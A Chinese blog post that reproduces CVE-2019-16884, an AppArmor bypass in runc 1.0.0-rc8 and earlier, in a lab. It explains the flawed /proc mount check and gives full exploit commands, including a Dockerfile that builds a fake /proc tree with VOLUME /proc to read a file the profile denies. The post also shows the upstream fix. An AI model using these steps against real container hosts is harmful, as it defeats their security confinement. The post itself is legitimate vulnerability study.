容器逃逸之AppArmor绕过-CVE-2019-16884复现
2023-2-18
| 2023-4-26
0  |  0 分钟
type
Post
status
Published
date
Feb 18, 2023
slug
2023/CVE-2019-14271
summary
AppArmor是Linux的众多安全机制之一,其中一些安全机制也会基于内核
tags
云安全
category
漏洞复现
icon
password

漏洞环境

环境部署 (X)
./metarget cnv install cve-2019-16884
不过有个坑,这里自动搭建的 runc 版本有点问题,见 issue89
这里使用 ssst0n3 大佬的镜像
docker network create test docker run --network=test -d -p 2222:22 ssst0n3/docker_archive:ubuntu-20.04_docker-ce-19.03.2_docker-ce-cli-19.03.2_containerd.io-1.2.6-3_runc-1.0.0-rc8 ssh -p 2222 root@127.0.0.1
一定要创建网络噢,否则SSH连不上去
漏洞影响版本
  • runC <= 1.0.0-rc8 (Docker < 19.03.1)
漏洞与 AppArmor 有关
漏洞描述
在容器镜像中可以声明一个VOLUME, 挂载至/proc, 欺骗runc使其认为AppArmor已经成功应用,从而绕过AppArmor策略。

AppArmor

相信不少同学在Centos搭建环境被 SELinux 坑过不少,AppArmor 作为 SELinux 代替品出现,是一个Linux内核安全模块,允许系统管理员通过每个程序的配置文件限制程序的功能,上手和易用性比SELinux友好太多。
 
该模块可以从宿主机中设置相应的规则,限制容器内的文件能不能从容器内被读写执行,
cat /sys/module/apparmor/parameters/enabled # 查看是否开启apparmor,返回为Y表示开启 cat /sys/kernel/security/apparmor/profiles # 查看加载的配置文件
Docker 在 Linux 中也是通过查看 /sys/module/apparmor/parameters/enabled 判断宿主机是否开启 AppArmor,如不开启则开启Docker默认AppArmor策略。具体runC在启动容器时会尝试加载AppArmor策略:将 exec+AppArmor策略文件路径写入 /proc/self/attr/exec可参考源码,后面/proc/<pid>/attr会在使用主要的安全模块时使用到。
 
Process attributes associated with “major” security modules should be accessed and maintained using the special files in /proc/…/attr. A security module may maintain a module specific subdirectory there, named after the module. /proc/…/attr/smack is provided by the Smack security module and contains all its special files. The files directly in /proc/…/attr remain as legacy interfaces for modules that provide subdirectories.
 
修改/proc/self/attr/exec内容,可以在exec时修改限制策略。
The /proc/self/attr/exec file can be written to change the tasks confinement at exec time. It is used to perform the change_onexec operation.

漏洞分析

CVE-2019-16884 可以使得用户绕过AppArmor的一些策略进而可以实现一些越权操作,上面提到 docker 加载 AppArmor 是通过写入 /proc/self/attr/exec 实现的,我们可以通过挂在 /proc 卷让 runC 误认为它已成功加载 AppArmor 策略。
 
不过 runc 在挂载时 checkMountDestination 方法有对 /proc 进行黑名单校验
第2个链接如下代码判断存在逻辑问题
for _, invalid := range invalidDestinations { path, err := filepath.Rel(filepath.Join(rootfs, invalid), dest) if err != nil { return err } if path != "." && !strings.HasPrefix(path, "..") { return fmt.Errorf("%q cannot be mounted because it is located inside %q", dest, invalid) } }
经调试,rootfsdest 依次为
rootfs: /var/lib/docker/overlay2/059ee72cfdfb48906c8cee6d34eaea3dbe912a31320cbb749ff5dc39347385de/merged dest: /var/lib/docker/overlay2/059ee72cfdfb48906c8cee6d34eaea3dbe912a31320cbb749ff5dc39347385de/merged/proc
输出
. <nil>Program exited.
也就是说黑名单没有起作用!缺少了个 path=="." 的判断,如有正确判断,checkMountDestination 方法会返回异常
 
调用链为
libcontainer.Init() -> prepareRootfs() -> mountToRootfs() -> checkMountDestination()
–> apparmor.ApplyProfile(l.config.AppArmorProfile)
 
可以注意到,应用 AppArmor 在挂载 rootfs 之后,Debug 一下确实是如此。前面我们知道 AppArmor 通过写入 /proc/self/attr/exec 去写入 AppArmor 规则的,那按理说,我们在先伪造 /proc 目录,然后 AppArmor 还是可以正常写入 /proc/self/attr/exec 才对?因为我一开始是想着 AppArmor 先写入,然后被我们伪造的 /proc 路径给覆盖了。既然能正常写入 /proc/self/attr/exe 那为啥还能bypass apparmor呢?
 
这边调试一下,确保 AppArmor 文件确实写进去了,
notion image
执行一下 ls 命令是为了确定是否进入到容器里面了
notion image
获取 /proc/self/attr/exec 内容确实写入了,但为啥 /flag 还是能正常读取?
 
因为写入 runc 产生的 procfs 因为他的 procfs 是容器的,每个进程运行时才能看到他们进程自己专属的 /proc/self 目录,自己伪造的是一个真实的文件系统 没有这种特性

漏洞利用

ssh 登陆至容器,注意不能 docker exec 进入,因为这个镜像里面通过 qemu 模拟了一个镜像,这个镜像才是漏洞环境
root@cloud_shoot ~# ssh -p 2222 root@127.0.0.1 root@127.0.0.1's password:root
创建apparmor规则
cat > /etc/apparmor.d/no_flag <<EOF #include <tunables/global> profile no_flag flags=(attach_disconnected,mediate_deleted) { #include <abstractions/base> file, deny /flag r, } EOF
应用规则
/sbin/apparmor_parser --replace --write-cache /etc/apparmor.d/no_flag
随便建个 flag 文件
echo "flag{123-123}" > /tmp/flag
启动一个正常镜像,无权限读取/flag内容
docker run --rm --security-opt "apparmor=no_flag" -v /tmp/flag:/flag busybox cat /flag
notion image
创建一个恶意镜像
mkdir apparmor-bypass/ && cd apparmor-bypass/ mkdir -p rootfs/proc/self/{attr,fd} touch rootfs/proc/self/{status,attr/exec} touch rootfs/proc/self/fd/{4,5} cat <<EOF > Dockerfile FROM busybox ADD rootfs / VOLUME /proc EOF docker build -t apparmor-bypass .
利用
docker run --rm --security-opt "apparmor=no_flag" -v /tmp/flag:/flag apparmor-bypass cat /flag
notion image

漏洞修复

在执行mount操作前,检查目的路径是否为/proc或位于/proc下, 如果是,则必须为procfs
if path == "." { // an empty source is pasted on restore if source == "" { return nil } // only allow a mount on-top of proc if it's source is "proc" isproc, err := isProc(source) if err != nil { return err } // pass if the mount is happening on top of /proc and the source of // the mount is a proc filesystem if isproc { return nil } return fmt.Errorf("%q cannot be mounted because it is not of type proc", dest) }

其他

关于断点调试点一些小坑
 
因为 docekr 的各个组件的调用顺序是 docker run -> dockerd -> containerd -> containerd-shim -> runc ,因为 runc 是 cli 来的,我们并不知道入参是什么,这里用了个笨方法,依次拉 docker cli、dockerd、containerd 和 runc 的代码下来,然后 docker cli -> dockerd 是 HTTP REST 请求,dockers -> containerd 是 gRPC 请求,经 debug 发现 dockerd 通过 containerd 依赖的 client 去 gRPC调用。然后调用 containers-shim 以及 containers-shim 调 runc 通过系统命令调用,一开始在 moby 库找了很多 runc 代码发现没有 rootfs.go 这个文件,原来是 moby 并没有直接依赖 runc 的这部分代码。
 
各个版本
  • docker-ce-19.03.2
  • docker-ce-cli-19.03.2
  • containerd.io-1.2.6-3
  • runc-1.0.0-rc8
    • 注意低版本编译默认没有开启 apparmor 选项,tags "seccomp apparmor"
    • seccomp 选项需要安装依赖 apt install pkg-config
    • apt install libseccomp-dev

参考链接

漏洞复现
  • 云安全
  • ArchLinux 双网卡 kubeadm Kubenetes 集群安装moby容器逃逸-CVE-2019-14271复现
    目录